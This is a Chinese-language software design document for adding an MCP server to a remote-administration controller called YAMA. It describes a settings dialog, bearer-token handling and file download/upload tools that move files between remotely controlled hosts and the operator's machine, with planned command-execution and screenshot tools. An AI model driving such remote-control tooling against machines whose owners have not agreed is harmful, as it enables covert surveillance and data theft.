auto mcpPort = THIS_CFG.GetInt("settings", "McpPort", 6544);
auto mcpBind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
if (mcpEnabled) {
// token 优先顺序env YAMA_MCP_TOKEN → THIS_CFG McpToken → 皆空则随机(仅本次进程有效)
const char* envTok = getenv("YAMA_MCP_TOKEN");
std::string mcpToken;
if (envTok && *envTok) {
mcpToken = envTok;
} else {
mcpToken = THIS_CFG.GetStr("settings", "McpToken", "");
}
if (mcpToken.empty()) {
mcpToken = GenerateRandomToken(); // 32 hex 随机串
Mprintf("[McpServer] YAMA_MCP_TOKEN / McpToken 均未设置,本次进程随机 token%s\n", mcpToken.c_str());
}
McpServer().SetParentDlg(this); // 方案 CMCP 需遍历 m_HostList须持父对话框指针
McpServer().SetToken(mcpToken);
if (!McpServer().Start(mcpBind, mcpPort)) {
Mprintf("McpServer start failed on %s:%d\n", mcpBind.c_str(), mcpPort);
}
}
```
并在退出路径(`OnDestroy` / `ExitInstance` 对应位置)调用 `McpServer().Stop()`
### 3.8 「MCP设置」配置对话框
MCP 默认不启用,通过主对话框「扩展 → MCP设置」菜单项打开配置对话框来开启。菜单项位置`2015Remote.rc` 扩展菜单(`POPUP "扩展(&X)"`)内、「地理信息(&L)」子菜单(纯真数据库 / IP2Region`END` 之后、「插件设置」之前。
#### 3.8.1 菜单与资源接线
1. **`resource.h`**:新增命令 ID取当前空闲段经查 `33077` 空闲):
```cpp
#define ID_MCP_SETTINGS 33077
```
2. **`2015Remote.rc`**:在「地理信息(&L)」子菜单 `END` 之后、`插件设置` 之前插入:
```
MENUITEM "MCP设置(&M)...", ID_MCP_SETTINGS
```
并新增对话框资源 `IDD_DIALOG_MCP_SETTINGS`(「启用 MCP」复选框 + 端口/绑定地址/token 三个编辑框 + 确定/取消按钮)。
3. **`UIBranding.h`**:扩展菜单隐藏开关新增一行(默认 `0` 显示):
```cpp
#define HIDE_MENU_MCP_SETTINGS 0 // MCP设置
```
4. **`FeatureFlags.h`**:新增运行时许可位,占用 MenuFlags 保留段 `[43-63]` 的首位(紧跟 `MF_REQUEST_AUTH` 之后):
```cpp
#define MF_MCP_SETTINGS (1ULL << 43) // HIDE_MENU_MCP_SETTINGS
```
5. **`2015RemoteDlg.cpp`**`#include "McpSettingsDlg.h"`,然后消息映射 + 处理器 + 剪枝:
```cpp
ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
// ...
void CMy2015RemoteDlg::OnMcpSettings()
{
CMcpSettingsDlg dlg(this);
dlg.DoModal();
}
```
并在扩展菜单剪枝块(`pExtMenu`,约 `2015RemoteDlg.cpp:1225` 之后)追加:
```cpp
if (SHOULD_HIDE_MENU(HIDE_MENU_MCP_SETTINGS, MF_MCP_SETTINGS))
pExtMenu->DeleteMenu(ID_MCP_SETTINGS, MF_BYCOMMAND);
```
> **实现注意**`2015Remote.rc` 为 UTF-16 编码,菜单与对话框资源须由 VS 资源编辑器维护(手工改文本易破坏编码与资源 ID 引用)。`IDD_DIALOG_MCP_SETTINGS` 需在 `resource.h` 分配独立空闲的 `IDD_` 数值(与 `ID_MCP_SETTINGS` 分开);对话框内控件 ID如 `IDC_CHK_ENABLE_MCP` / `IDC_EDIT_MCP_PORT` / `IDC_EDIT_MCP_BIND` / `IDC_EDIT_MCP_TOKEN`)同理。
#### 3.8.2 对话框字段与默认值
| 控件 | 绑定配置键 | 默认值 | 说明 |
|---|---|---|---|
| 「启用 MCP」复选框 | `McpEnabled` | 未勾选(`0` | 勾选后持久化 `McpEnabled=1` |
| 端口 | `McpPort` | `6544` | 数字编辑框,仅当启用时有效 |
| 绑定地址 | `McpBind` | `127.0.0.1` | 默认仅本机;可改 `0.0.0.0` / 内网 IP |
| Token | `McpToken` | 随机值 | 必填;为空时预填随机 token |
#### 3.8.3 初始化与保存
打开时读 `THIS_CFG` 回填token 为空则当场生成随机值预填32 hex。保存时落盘并弹重启提醒
```cpp
BOOL CMcpSettingsDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
int enabled = THIS_CFG.GetInt("settings", "McpEnabled", 0);
int port = THIS_CFG.GetInt("settings", "McpPort", 6544);
std::string bind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
std::string tok = THIS_CFG.GetStr("settings", "McpToken", "");
if (tok.empty()) tok = GenerateRandomToken(); // 预填随机,随保存持久化
// 回填到控件m_bEnabled / m_nPort / m_strBind / m_strToken
return TRUE;
}
void CMcpSettingsDlg::OnBnClickedBtnSave()
{
// 从控件收集enabled / port / bind / token
if (enabled && token.empty()) {
MessageBoxL(_TR("Token 不能为空"), _TR("提示"), MB_ICONWARNING);
return;
}
THIS_CFG.SetInt("settings", "McpEnabled", enabled ? 1 : 0);
THIS_CFG.SetInt("settings", "McpPort", port);
THIS_CFG.SetStr("settings", "McpBind", bind);
THIS_CFG.SetStr("settings", "McpToken", token);
MessageBoxL(_TR("MCP 设置已保存。\n启用/端口/绑定地址/Token 的改动需重启程序生效。"),
_TR("提示"), MB_ICONINFORMATION);
CDialogLangEx::OnOK();
}
```
#### 3.8.4 与运行时 token 逻辑的衔接
对话框的「默认随机 token」是把随机值**写入 `McpToken` 并持久化**,于是下次启动走 `env → McpToken` 的固定 token 分支;运行时「两者皆空则随机」分支仅在用户从未通过对话框设置过(或手动清空 token时兜底两者不冲突。`GenerateRandomToken()` 为 MCP 侧新增的小工具函数32 hex 随机串,可用 `rand_s` / `BCryptGenRandom` 实现;如需可复用 `WebServiceAuth.h` 的 `ComputeSHA256` 派生)。
---
## 4. 实施步骤
| 步骤 | 内容 | 验收 |
|---|---|---|
| 1 | 新建 `McpProtocol`JSON-RPC 分发 + `initialize`/`tools/list`/`tools/call`(含 jsoncpp 解析/序列化) | 单元自测:手写请求串,验证响应 |
| 2 | 新建 `McpServer`httplib 起 `127.0.0.1:6544``POST /mcp` 路由 + token 校验(含随机生成) | curl 请求返回 401/正常 |
| 3 | 抽公共函数 `BuildHostJson``CWebService::BuildDeviceListJson` 改调之 | Web 输出不变,零回归 |
| 4 | 注册 `list_online_hosts` 工具handler 持父对话框、`m_cs` 锁内遍历、调 `BuildHostJson` 组装 | `tools/call` 返回主机列表 |
| 5 | 新增 `McpSettingsDlg` + 菜单项接线(`ID_MCP_SETTINGS` / `OnMcpSettings` / `HIDE_MENU_MCP_SETTINGS` / `IDD_DIALOG_MCP_SETTINGS` 资源) | 对话框可启用/禁用、配置端口/绑定/token保存落盘并提示重启 |
| 6 | 接入 `2015RemoteDlg` 启动/停止(按 `McpEnabled` 门控)+ 配置 | 服务端启动后端口监听正常 |
| 7 | Claude Code 接入验证(见 §5 | 见验收标准 |
---
## 5. 验收标准
1. 在「MCP设置」对话框启用并重启服务端后`127.0.0.1:6544` 监听正常,外部地址无法访问;未启用时该端口不监听。
2. 无 token 的请求返回 HTTP 401错误 token 返回 401正确 token 通过。
3. `curl` 模拟 `initialize` → `tools/list` → `tools/call` 全流程,返回符合 JSON-RPC 2.0 与 MCP 规范。
4. Claude Code 侧:
```bash
claude mcp add yama --transport http http://127.0.0.1:6544/mcp -H "Authorization: Bearer <token>"
```
`claude mcp list` 能看到 `yama`,在对话中问「列出在线主机」能正确触发工具并返回列表。
5. 现有 Web 控制台、IOCP 主服务功能无回归。
---
## 6. 风险与约束
| 风险 | 说明 | 应对 |
|---|---|---|
| 无官方 C++ MCP SDK | 需手写 JSON-RPC 协议层 | 仅实现 3 个方法,量小可控;协议稳定后再考虑抽库 |
| MCP 规范版本演进 | protocolVersion 字符串需与客户端匹配 | 实现时对照最新规范;`initialize` 返回可协商版本 |
| 并发安全 | 遍历 `m_HostList` 需持 `m_cs` | MCP 与 WebService 采用相同的「`m_cs` 锁内遍历」模式 |
| 字符编码 | GBK/UTF-8 分叉 | 复用公共函数 `BuildHostJson` 的编码处理,不自造 |
| token 存储 | `THIS_CFG` 的 token 会明文落盘;随机 token 会打印到日志 | 本地回环 + 只读,风险可控;敏感场景建议仅用 env 并妥善保管 |
---
## 7. 后续扩展规划(本期不做)
- 工具:`get_host_processes`(进程列表)、`execute_command`(命令执行)、`capture_screen`(截图)等
- 写操作工具的安全边界评审(操作对象、权限、审计)
- 认证升级:复用 `WebServiceAuth` 的签名 token / 过期机制
- 分组过滤:`list_online_hosts` 加 `group` 参数
---
## 8. 决策记录
**决策记录(全部已定):**
- ✅ **启用开关**:新增 `McpEnabled`,默认 `0`禁用。MCP 默认不启动,须用户在「扩展 → MCP设置」对话框手动开启。
- ✅ **端口**`McpPort` 可配置,未配置默认 `6544`(纯端口语义,不再兼任启用开关)。
- ✅ **token**:优先顺序 env `YAMA_MCP_TOKEN` → `THIS_CFG.McpToken` → 皆空则随机生成(仅本次进程有效,打印到日志)。对话框内 token 必填、默认随机值(预填并随保存持久化到 `McpToken`)。
- ✅ **绑定地址**:默认 `127.0.0.1`(仅本机);可配置为 `0.0.0.0` 或内网 IP如 `192.168.0.92`)以支持多人协作跨机调用。
- ✅ **配置入口**:主对话框「扩展」菜单,位于「地理信息(&L)」子菜单下方新增「MCP设置」菜单项打开独立配置对话框。
- ✅ **生效方式**MCP 启用/端口/绑定/token 的改动均需重启服务端生效,对话框保存后弹窗提醒「重启程序生效」。
- ✅ **取数方案**C抽公共函数 `BuildHostJson`MCP 与 WebService 平级复用)。
- ✅ **返回字段**:全量,含实时信息(`rtt` / `activeWindow`),支持 AI 监督场景。
- ✅ **序列化**`structuredContent` + `outputSchema``content` 附带可读摘要。

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@@ -0,0 +1,396 @@
# YAMA MCP 文件传输功能设计download_file / upload_file
> **状态**:设计定稿(经专家审查修订,结论见 §13。`download_file`P1已实施并验收`upload_file`P2已实施详见 §7评审修订见 §13.1)。`download_file` 采用 **V2 文件传输协议**`CMD_DOWN_FILES_V2` + 流式子连接 + SHA-256 校验),`upload_file` 复用服务端既有 `FileBatchTransferWorkerV2`(主连接同步驱动)。两者共享同一套「文件会话」注册表。
> **读者**MCP 后续功能研发/评审人员。
> **关联文档**[Mcp_Phase2_Design.md](./Mcp_Phase2_Design.md)(双模式无头驱动机制)、[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)V2 协议清单)、[Mcp_Design.md](./Mcp_Design.md)Phase 1 协议/架构/配置)。
---
## 1. 背景与目标
MCP 目前已暴露 `list_files`(只读列目录,`McpServer.cpp:1741`),但**没有文件传输工具**:把远程主机的文件/目录拉回主控本机(下载),或把本机文件推到远程(上传),只能通过 GUI 文件管理器手工操作。
本技术书解决:
1. **`download_file`**(本期 P1——远程文件/目录 → 主控本机指定目录,复用 V2 推送协议,带 SHA-256 完整性校验、支持大文件。
2. **`upload_file`**(后续 P2——主控本机文件/目录 → 远程指定目录,复用服务端 V2 发送器。
3. **一套共享的「流式文件会话」基础设施**——一次投入,下载/上传两处受益,镜像现有终端(`TermSession`)与远程控制(`ScreenCtrlSession`)会话模式。
---
## 2. 现状回顾
| 能力 | 现有协议/命令 | 服务端现有实现 | 是否暴露给 MCP |
|---|---|---|---|
| 远程列目录 | `COMMAND_LIST_DRIVE``TOKEN_DRIVE_LIST``COMMAND_LIST_FILES``TOKEN_FILE_LIST` | `McpServer.cpp:1741``list_files` | ✅ |
| 远程→本地下载V1 | `COMMAND_DOWN_FILES`(`commands.h:166`) + `TOKEN_FILE_SIZE/DATA/FINISH` | `FileManagerDlg.cpp:2164` / `file/CFileManagerDlg.cpp:1136` | ❌ 仅 GUI |
| 远程→本地下载V2 | `CMD_DOWN_FILES_V2`(94, `commands.h:260`) + `COMMAND_SEND_FILE_V2`(85) + `COMMAND_FILE_COMPLETE_V2`(91) | `FileManagerDlg.cpp:3337-3384`(下发)、`2756``RecvFileChunkV2` 落盘) | ❌ 仅 GUI |
| 本地→远程上传V2 | `FileBatchTransferWorkerV2`(服务端作 sender | `2015RemoteDlg.cpp:7572` | ❌ 仅 GUI |
### 2.1 关键事实
1. **V2 下载的客户端会另开一条新子连接**`client/FileManager.cpp:1101-1190` `UploadToRemoteV2()` 解析完文件列表后,`new IOCPClient(...)``EnableSubConnAuth()``ConnectServer(...)``FileManager.cpp:1170-1172`),在**独立鉴权子连接**上推 `COMMAND_SEND_FILE_V2` 分块 + `COMMAND_FILE_COMPLETE_V2` 校验包。即下载 ≠ 复用文件管理器那条子链接,而是一条**持续流子链接**——正属 `Mcp_Phase2_Design.md §4.3` 当初判定「本期不做」的流式能力。
2. **接收端 `RecvFileChunkV2` 无 UI 可调**`CDlgFileSend.cpp:128``RecvFileChunkV2(buf, len, nullptr, nullptr, hash, hmac, 0)` 无头落盘;落盘状态在 `SimplePlugins/file_upload.cpp` 内部按 `transferID` 自维护,天然适合 MCP 无头复用。
3. **V2 落盘路径由客户端回填**`CMD_DOWN_FILES_V2``targetDir` 是**主控本机**保存目录(`FileManagerDlg.cpp:3370` `m_Local_Path`);客户端把它拼进每个 chunk 的 `filename` 发回,服务端 `RecvFileChunkV2` 直接按该完整路径写盘。因此「下载保存到哪」由服务端在命令里指定、客户端原样回填。
---
## 3. 协议选型已定V2
| 维度 | **V2 推送(选定)** | V1 拉取(回退) |
|---|---|---|
| 命令 | `CMD_DOWN_FILES_V2` + `COMMAND_SEND_FILE_V2` + `COMMAND_FILE_COMPLETE_V2` | `COMMAND_DOWN_FILES` + `TOKEN_FILE_SIZE/DATA/FINISH` |
| 连接 | 客户端新开一条鉴权流式子连接 | 复用文件管理器子链接 |
| 完整性 | ✅ SHA-256`COMMAND_FILE_COMPLETE_V2` | ❌ 无 |
| 大文件 | ✅ 64 位偏移,>4GB | 64 位偏移但无校验 |
| 客户端代码 | ✅ 已存在,是当前 GUI 正规路径 | ⚠️ 遗留路径 |
| MCP 侧复杂度 | 需路由一条**新流式子连接**(新增会话注册表) | 需在 `MessageHandle` 维护「发 CONTINUE/收 DATA」状态机逐块 ACK 慢 |
**结论:采用 V2。** 代价是服务端要新增「流式文件会话」注册与路由;但这是 `upload_file` 同样要复用的基础设施一次投入两处受益。V1 仅作「不想引入新子连接路由」时的降级备案,不在本期实现。
---
## 4. 设计原则
1. **复用现有协议,不新造命令**`CMD_DOWN_FILES_V2``COMMAND_SEND_FILE_V2``COMMAND_FILE_COMPLETE_V2``COMMAND_LIST_DRIVE` 全部为 `common/commands.h` 既有客户端零改动upload 方向例外:`COMMAND_SEND_FILE_V2` 需懒初始化文件模块,见 §7.8)。
2. **无头接管复用会话模式**:镜像 `McpServer.h``TermSession` / `ScreenCtrlSession`,新增 `FileTransferSession``MessageHandle``IsFileTransferContext(context*)` 判定是否路由到 MCP 无头落盘,否则回落 GUI 进度框。
3. **单设备单传输会话**:与终端/远程控制一致,避免同 host 并发传输的归属歧义;并发返回 `-32003 Device busy`
4. **超时与清理是硬约束**:大文件传输是长任务,超时需独立于 `kMcpToolTimeoutMs`(20s);断线/超时必须清会话 + 关子链接 + 删半成品文件。
5. **输出 schema 先行**:两个工具先在 `tools/list` 声明完整 `inputSchema`/`outputSchema`
---
## 5. 核心机制:流式文件会话
### 5.1 会话注册表(`McpServer.h/.cpp`
```cpp
struct FileTransferSession {
std::string tool; // "download_file" / "upload_file"
std::string localDir; // download: 本机落盘目录(规范化后绝对路径,用于穿越校验)
std::string remotePath; // 审计用原始远程路径UTF-8
uint64_t transferID = 0; // 绑定后从首包填充downloadupload 由本端 GenerateTransferID()
uint32_t totalFiles = 0; // 完成判定:首个 COMMAND_SEND_FILE_V2 chunk 的 totalFiles§13 F4
uint32_t filesDone = 0; // 完成判定:累计收到的 COMMAND_FILE_COMPLETE_V2 数
bool done = false;
int error = 0; // FEV2_* / 自定义
std::vector<FileEntry> files; // {path, size} 已落盘/已发送文件
std::vector<FileEntry> skipped; // overwrite=false 时跳过的同名文件
time_t startAt = 0;
};
std::mutex m_FileXferMutex;
std::map<uint64_t, FileTransferSession> m_FileXferSessions; // device_id → 会话
```
> **取消 `m_FileXferContextToDevice` 映射与 `IsFileTransferContext(context*)`**:流式子连接经 `TOKEN_CONN_AUTH` 已把 `clientID` 钉在 `ContextObject` 上(`2015RemoteDlg.cpp:6411 SetID`),分派时直接用 `ContextObject->GetClientID()` 定位 `device_id`,无需 context 路由表§13 F1
配套接口(与 `BeginTermPending` / `OnTerminalData` / `WaitTerminalDone` 同构):
```cpp
bool BeginFileTransferPending(uint64_t device_id, const std::string& tool,
const std::string& localDir, const std::string& remotePath);
bool IsFileTransferPending(uint64_t device_id); // 分支顶部守卫
void OnFileChunkV2(uint64_t device_id, const BYTE* buf, ULONG len); // 路径校验 + 无头 RecvFileChunkV2
void OnFileCompleteV2(uint64_t device_id, const BYTE* buf, ULONG len);// SHA-256 + filesDone 计数
bool WaitFileTransferDone(uint64_t device_id, int timeoutMs, std::vector<FileEntry>& out);
void ClearFileTransfer(uint64_t device_id); // 失败/超时/断线收尾(删半成品)
```
### 5.2 流式子连接的路由device_id 键,镜像 `TOKEN_DRIVE_LIST` 守卫)
V2 下载的数据包 `COMMAND_SEND_FILE_V2`(85) / `COMMAND_FILE_COMPLETE_V2`(91) 本就由 `MessageHandle``ContextObject->GetClientID()` 分派(`2015RemoteDlg.cpp:5842` / `6101`。MCP 只需在这两个 case 的 **`dstClientID==0`M2C分支顶部**加守卫:
```cpp
case COMMAND_SEND_FILE_V2: {
FileChunkPacketV2* pkt = (FileChunkPacketV2*)szBuffer;
if (pkt->dstClientID == 0) {
uint64_t devId = ContextObject->GetClientID();
if (McpServer().IsFileTransferPending(devId)) { // ← 新增守卫:无头接管
McpServer().OnFileChunkV2(devId, szBuffer, len);
break; // 不建 CDlgFileSend、不设 hDlg
}
// ... 原 GUI 逻辑(建 CDlgFileSend + OnReceiveComplete不变
}
// ... C2C 分支dstClientID != 0完全不动
}
```
- `TOKEN_CONN_AUTH`(`6378`) **完全不动**——它只负责把 `clientID` 钉在 ctx 上,下载复用既有行为。
- `TOKEN_DRIVE_LIST`(`6430`) 既有 `IsPending(devId)` 守卫**扩展复用**`OnDriveList` 识别当前挂起工具为 `download_file` 时,改发 `CMD_DOWN_FILES_V2` 而非 `COMMAND_LIST_FILES`,发完即 `CancelIO` 文件管理器子链接数据走新流式子连接§13 F3
- 守卫为假时全部回落原 GUI/C2C 路径——对既有功能零影响(原则 #1§13 F7
---
## 6. `download_file` 设计P1
### 6.1 工具 Schema
```
input: {
id: string (必填, 主机 id)
remote_path: string (必填, 远程文件或目录绝对路径, 如 C:\Users\shaun\Pictures)
local_dir: string (必填, 主控本机保存目录; 不存在会自动创建)
overwrite: boolean (可选, 默认 false; true 覆盖同名文件, false 则跳过)
timeout_ms: integer (可选, 默认 600000, 上限 3600000)
}
output: {
files: [{ path: string, size: integer, sha256: string }] // 实际落盘文件
total_bytes: integer
skipped: integer
}
```
### 6.2 时序
```
MCP工具线程 服务端 MessageHandle 客户端
│ 1. BeginFileTransferPending(id,"download_file",localDir,remotePath) │
│ 2. 主连接发 COMMAND_LIST_DRIVE ────────────────────────────────────────► 开文件管理器子链接
│ 3. ◄── TOKEN_DRIVE_LIST ─────────────────────┤
│ OnDriveList → 锁外下发 CMD_DOWN_FILES_V2[targetDir\0][remote_path\0]\0 │
│ 4. ────────────────────────────────────────► UploadToRemoteV2()
│ (客户端另开一条鉴权流式子连接 ConnectServer)
│ 5. 新子连接 TOKEN_CONN_AUTH 钉 clientID → 后续分块按 device_id 守卫接管 │
│ 6. ◄── COMMAND_SEND_FILE_V2 分块流 ──────────┤
│ → OnFileChunkV2 → RecvFileChunkV2() 无头落盘
│ 7. ◄── COMMAND_FILE_COMPLETE_V2(SHA-256) ────┤
│ 8. 校验通过 → done → 唤醒工具线程 → CancelIO 两条子连接 → 返回 │
```
### 6.3 服务端改动
1. **`McpServer.h`**:新增 `FileTransferSession` 结构 + 注册表 + 接口声明§5.1)。
2. **`McpServer.cpp`**
- `BuildDownloadFileInputSchema/OutputSchema` + `BuildDownloadFile(...)``tools/call` 分派);
- `OnFileChunkV2`**先路径校验**chunk `filename` 规范化后仍在 `local_dir` 内,防 `..` 穿越§13 F5→ 调 `RecvFileChunkV2(buf,len,nullptr,nullptr,hash,hmac,0)` 无头落盘,记 `totalFiles`/进度;
- `OnFileCompleteV2``HandleFileCompleteV2` 校验 SHA-256 → `filesDone++``filesDone==totalFiles` 时置 `done` + `notify`§13 F4
- `hash/hmac` 镜像 `FileManagerDlg.cpp:2755``GetPwdHash()/GetHMAC(100)`,兼容客户端 M2C `hmac` 为空(`client/FileManager.cpp:1167`§13 F6
- `ClearFileTransfer`(发送失败/超时/断线):`CancelIO` 子链接 + 删除半成品。
3. **`2015RemoteDlg.cpp``MessageHandle`**`COMMAND_SEND_FILE_V2`(85)、`COMMAND_FILE_COMPLETE_V2`(91) 的 `dstClientID==0` 分支顶部加 `IsFileTransferPending(devId)` 守卫;`TOKEN_DRIVE_LIST` 处扩展 `OnDriveList` 识别 `download_file` 改发 `CMD_DOWN_FILES_V2``TOKEN_CONN_AUTH` 与 C2C 分支**完全不动**。
4. **`McpSettingsDlg.cpp/.h`**:新增 `McpFileTransfer` 配置项(默认 0
### 6.4 落盘与路径安全
-`CMD_DOWN_FILES_V2` 前把 `local_dir` 规范化为绝对路径并 `CreateDirectory``targetDir` 用 ANSIMBCS 构建本机路径)。
- 每收到一个 chunk校验其 `filename` 规范化后**前缀必须在 `local_dir` 内**(防 `..` 穿越,呼应 `FILE_TRANSFER_V2.md §8.3` 已识别的风险);逃逸则置 `error``CancelIO`
- 编码:`remote_path` 走 UTF-8→ANSI(936)Windows 客户端,复用 `McpServer.cpp` 既有 `ToAnsi`,与 `list_files` 一致)。
### 6.5 超时与并发
- **P1 范围:同步 + 单文件/已打包目录**。一次 `tools/call` 阻塞到底,不引入 job/task 异步模型(决策见 §12。核心场景「先 `terminal_exec` 压缩成单 zip`download_file` 拉回」天然是单文件,同步足够。
- 默认 `timeout_ms=600000`、上限 3600000因大文件远超 `kMcpToolTimeoutMs`(20s)。
- **单飞互斥§13 F2**`BeginFileTransferPending` 与既有一次性 `m_Pending` **双向互斥**——下载登记时占用 `m_Pending`,反之 `BeginPending` 也检查 `m_FileXferSessions`,保证同 host 任意时刻只一个 MCP 工具在飞;并发返回 `-32003 Device busy`
- 断线(`OfflineProc` 擦会话)+ 超时(删半成品)双收尾。
---
## 7. `upload_file` 设计P2
### 7.1 工具 Schema
```
input: {
id: string (必填, 目标主机 id)
local_path: string (必填, 主控本机文件或目录绝对路径; 目录递归上传)
remote_dir: string (必填, 远程主机保存目录; 不存在会自动创建)
overwrite: boolean (可选, 默认 false; true 覆盖同名文件, false 跳过)
timeout_ms: integer (可选, 默认 600000, 上限 3600000)
}
output: {
files: [{ path: string, size: integer, sha256: string }] // 已发送文件远程完整路径P2 sha256 恒为空串(见 §7.5
total_bytes: integer
skipped: integer
}
```
### 7.2 方向与连接(与 download 的关键差异)
| 维度 | download_fileP1 | upload_fileP2 |
|---|---|---|
| 数据方向 | 远程客户端 → 主控 | 主控 → 远程客户端 |
| 发送方 | 客户端(`UploadToRemoteV2``FileBatchTransferWorkerV2` | 主控(`FileBatchTransferWorkerV2` |
| 连接 | 客户端**新开一条鉴权流式子连接** | 复用**主连接**`ctx->Send2Client`),无子连接 |
| 完成信号 | 客户端发 `COMMAND_FILE_COMPLETE_V2`,服务端 `OnFileCompleteV2` 校验计数 | 服务端**作为发送方**自己发 `COMMAND_FILE_COMPLETE_V2`SHA-256客户端 `HandleFileCompleteV2` 校验 |
| MessageHandle 改动 | 2 处守卫分支 + `OnDriveList` 扩展 | **零改动**(客户端 `KernelManager.cpp:1381` 接收,但需懒初始化文件模块,见 §7.8 |
> **修正旧稿§13.1 评审)**:旧稿写「只需等客户端回 `COMMAND_FILE_COMPLETE_V2`」是错的。V2 协议里 COMPLETE 包恒由**发送方**发、接收方校验,**无接收方→发送方 ACK**。upload 的服务端是发送方,故它**发** COMPLETE 而非「等」。这也意味着 upload 比 download 更简单——无需路由外来流式子连接、无需 `OnFileCompleteV2` 计数。
### 7.3 时序
```
MCP工具线程 主连接 (ctx→Send2Client) 客户端 KernelManager
1. 校验 McpFileTransfer=1 && McpReadonly=0§8
2. CollectLocalFiles({local_path}) 收集本机文件+目录项(目录项在前、子项随后)
3. (overwrite=false) list_files 预检 remote_dir 一层 → 得已存在顶层名 → skip 列表
4. BeginFileUpload(id) 登记会话单设备单传输互斥标记§6.5
5. 同步驱动工具线程内FileBatchTransferWorkerV2(files, remote_dir, cb, f, hash, hmac, opts)
6. ── COMMAND_SEND_FILE_V2 分块流 ───► RecvFileChunkV2 落盘
7. ── COMMAND_FILE_COMPLETE_V2(SHA256)► HandleFileCompleteV2 校验
8. worker 同步返回 → ClearFileTransfer → 返回 files/total_bytes/skipped
```
### 7.4 服务端改动
1. **`McpServer.h`**:新增 `BeginFileUpload(id)`,登记 `FileTransferSession{tool="upload_file", startAt}` 作为**单设备单传输互斥标记**(与 `m_Pending`/`m_FileXferSessions` 互斥,见 §6.5。upload 走主连接、工具线程**同步**驱动 `FileBatchTransferWorkerV2`,会话**无** `fmSubCtx`/`streamSubCtx`/`fileEntries`/`done` 等字段(`ClearFileTransfer` 对空指针安全)。
2. **`McpServer.cpp`**
- `BuildUploadFileInputSchema/OutputSchema` + `BuildUploadFile(...)``tools/call` 分派);
- 无头回调 `UploadSendChunkHeadless(user, chunk, data, size)`:经 `UploadCallbackData{parent,clientID,deadline}``parent->FindHost(clientID)` 定位 ctx → `ctx->Send2Client(data,size)`;客户端离线或整体超时返回 false 中止(镜像 GUI `SendFileChunkToClientV2`,去掉 `dlg` 进度,见 `2015RemoteDlg.cpp:7424-7459`
- 收集:本地 `CollectLocalFiles` 递归(`common/file_upload.cpp:38``ExpandDirectories` 未在 `file_upload.h` 导出,故在 McpServer.cpp 本地同构实现,目录项在前、子项随后);
- overwrite 预检:复用 `list_files``COMMAND_LIST_DRIVE→TOKEN_DRIVE_LIST→COMMAND_LIST_FILES→TOKEN_FILE_LIST` 机制列 `remote_dir` **一层**(顶层名,不递归),过滤同名 → `skipped`
- 驱动:`FileBatchTransferWorkerV2(files, remote_dir, &cb, headlessCallback, nullptr, GetPwdHash(), GetHMAC(100), opts)``opts.transferID=GenerateTransferID()``srcClientID=0``dstClientID=clientID``enableResume=false`
- 完成判定:`result==0 && FindHost(clientID)!=nullptr`(镜像 GUI `SendFilesToClientV2Internal` 末尾)。
3. **`2015RemoteDlg.cpp`MessageHandle****零改动**。
4. **`McpSettingsDlg.cpp/.h`**:零改动(`McpFileTransfer` 已存在§8 复用)。
### 7.5 完整性边界(诚实声明)
- V2 无接收方→发送方 ACK客户端 `HandleFileCompleteV2` 校验失败只打日志(`RecvFileChunkV2` 返回 8`KernelManager.cpp:1381` 不回传主控)。
- **P2 的 `output.files[].sha256` 恒为空串**`FileBatchTransferWorkerV2` 内部会为每个文件自算 SHA-256 并写入 `COMMAND_FILE_COMPLETE_V2` 包发给客户端,但该值**不回传调用方**;服务端侧又无导出的 SHA-256 工具函数可自行复算。故 P2 输出不填 sha256延后 P3worker 回传哈希,或服务端引入 SHA-256 工具)。传输完整性仍依赖客户端本地 `HandleFileCompleteV2` 校验(与 GUI upload / C2C 同权,属 V2 协议既有边界,非 MCP 引入)。
- 若未来需要「接收方验真回执」,需新增反向 ACK 包(协议扩展,进 P3
### 7.6 overwrite 语义
- `overwrite=false`(默认):发送前用 `list_files` 预检 `remote_dir` **一层**(顶层名,不递归),本地顶层项名已存在者整体跳过(单文件精确、目录整体跳过),文件条目计入 `skipped`(目录项不计)。编码 UTF-8→ANSI(936),与 `list_files`/`download_file` 一致。
- `overwrite=true`:全量发送(客户端 `RecvFileChunkV2` 覆盖写)。
- 代价:一次预检往返;对称于 download 的「本地同名跳过」语义。
### 7.7 安全
- 门槛 `McpFileTransfer=1 && McpReadonly=0`§8upload 写远程盘,复用「允许写」主开关。
- `remote_dir` 路径规范化(防 `..` 穿越到预期目录之外)。`local_path` 是主控本机路径(信任本地文件系统),主要风险是 AI 误推敏感文件/覆盖远程关键文件——由 `McpReadonly=0` + 审计兜底(与 `terminal_*`/`remote_*` 同款「开关+审计」,不加目录黑名单,见 §12.1)。
### 7.8 客户端改动(实施期修正,评审见 §13.1 U7
`RecvFileChunkV2` 依赖全局 `g_status==1``SimplePlugins/file_upload.cpp:2812` `if (!g_status) return -1;`),但客户端**主连接此前从不初始化文件传输模块**——`InitFileUpload` 只在 `FileManager`/`ScreenManager` 构造里成对调用(下载/屏幕方向),上传走主连接时 `g_status==0`,每个 chunk 都被 `RecvFileChunkV2` 直接丢弃(表现为落盘 0 字节 / 截断)。
修法:在 `client/KernelManager.cpp``COMMAND_SEND_FILE_V2` 分支加**懒初始化**(进程内仅一次):
```cpp
static bool s_v2RecvInited = false;
if (!s_v2RecvInited) {
InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf);
s_v2RecvInited = true;
}
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn, nullptr, m_hash, m_hmac, m_MyClientID);
```
要点(独立评审结论,均为安全):
-`FileManager.cpp:40` 的 Init 参数**逐字节一致**`{}`, `m_LoginMsg`, `m_LoginSignature`, 64, 50, `Logf`),不新增路径。
- `static` 保证进程内只初始化一次,主连接重连(`ClientDll.cpp:660/665` 反复 `SAFE_DELETE`+`new CKernelManager`)不反复 Init/Uninit`~CKernelManager` 保持原样**不** `UninitFileUpload`,故 `g_threadCount` 从 1 起永不归 0`g_status` 恒为 1。
- `InitFileUpload` 幂等(`g_fileStatesMtx` + `g_threadCount` 引用计数,二次调用 `g_threadCount>1` 早退)、非阻塞(仅置标志 + 派生 detach 线程、license 校验在启动期 `licenseInit()` 后必过、`verifyMessage` 对空签名 `return false``license.cpp:244`)不会越界。
